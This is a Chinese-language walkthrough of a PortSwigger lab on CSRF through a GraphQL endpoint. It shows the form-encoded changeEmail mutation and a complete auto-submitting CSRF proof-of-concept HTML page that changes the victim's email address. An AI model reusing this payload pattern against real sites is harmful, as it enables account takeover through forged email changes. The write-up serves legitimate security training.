从业者-通过GraphQL执行CSRF漏洞利用
# 实验室:通过GraphQL执行CSRF漏洞利用
# 题目
此实验室的用户管理功能由 GraphQL 端点提供支持。该端点接受内容类型为x-www-form-urlencoded
的请求,因此容易受到跨站请求伪造(CSRF)攻击。
若要解决实验室问题,请制作一些 HTML,然后将其上传到你的漏洞利用服务器,通过 CSRF 攻击来更改查看者的电子邮件地址。
你可以使用以下凭据登录到自己的帐户:wiener:peter
我们建议你在尝试此实验之前安装 InQL 扩展。InQL 可以更轻松地在 Repeater 中修改 GraphQL 查询,并使你能够扫描 API 模式信息。
有关使用 InQL 的更多信息,请参阅在 Burp Suite 中使用 GraphQL (opens new window)。
- name: 实验室-从业者
desc: 通过GraphQL执行CSRF漏洞利用 >>
avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
link: https://portswigger.net/web-security/graphql/lab-graphql-csrf-via-graphql-api
bgColor: '#001350'
textColor: '#4cc1ff'
2
3
4
5
6
# 实操
点击 “ACCESS THE LAB” 进入实验室。
一个博客站点。
启用 BurpSuite 代理并刷新网页,捕获有关于 GraphQL 的查询请求。
捕获到 GraphQL 查询请求后,右键数据包并选择 “Generate queries with InQL Scanner”,将数据包转发至 InQL 扩展,自动探测 GraphQL API 端点的内省,以获取 API 端点的模式信息。
在 InQL 中查看目标站点的模式信息,发现变更对象changeEmail
,该对象带有一个参数ChangeEmailInput
。
使用题目中提供的用户名和密码wiener:peter
进行登录。
访问账户界面,使用邮件更改功能,并捕获一个请求数据包。
这是一个更改邮件地址的 GraphQL 请求数据包。内容类型为application/json
,POST 传参也是实打实的 JSON 格式。
修改内容类型为application/x-www-form-urlencoded
,并将 POST 传参修改为经典的<键>=<值>
格式:
query=mutation changeEmail {changeEmail(input: {email: "a@b.c"}) { email }}
发送数据包,目标端点接受了该请求。
说明目标 GraphQL 端点没有限定内容类型为 JSON。而且我还把Referer
请求头删除了,没有产生任何错误。
没有限定内容类型,没有验证Referer
标头,又没有实现 CSRF 令牌,不打你打谁?
右键这个数据包,生成一个 CSRF PoC,具体步骤不用我教了吧,前面都学过。
点击 “Copy HTML” 复制攻击载荷。
访问漏洞利用服务器,保存 CSRF 载荷。记得将其中的邮件地址a@b.c
修改为x@y.z
,因为前一个地址被你占用了,受害者无法使用。
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="https://0a27006a0307e28080cec71e005b0039.web-security-academy.net/graphql/v1" method="POST">
<input type="hidden" name="query" value="mutation changeEmail {changeEmail(input: {email: "x@y.z"}) { email }}" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
2
3
4
5
6
7
8
9
10
11
12
13
保存载荷之后,点击 “Deliver exploit to victim” 将其发送给受害用户。
发送之后,实验完成。
就是这么简单。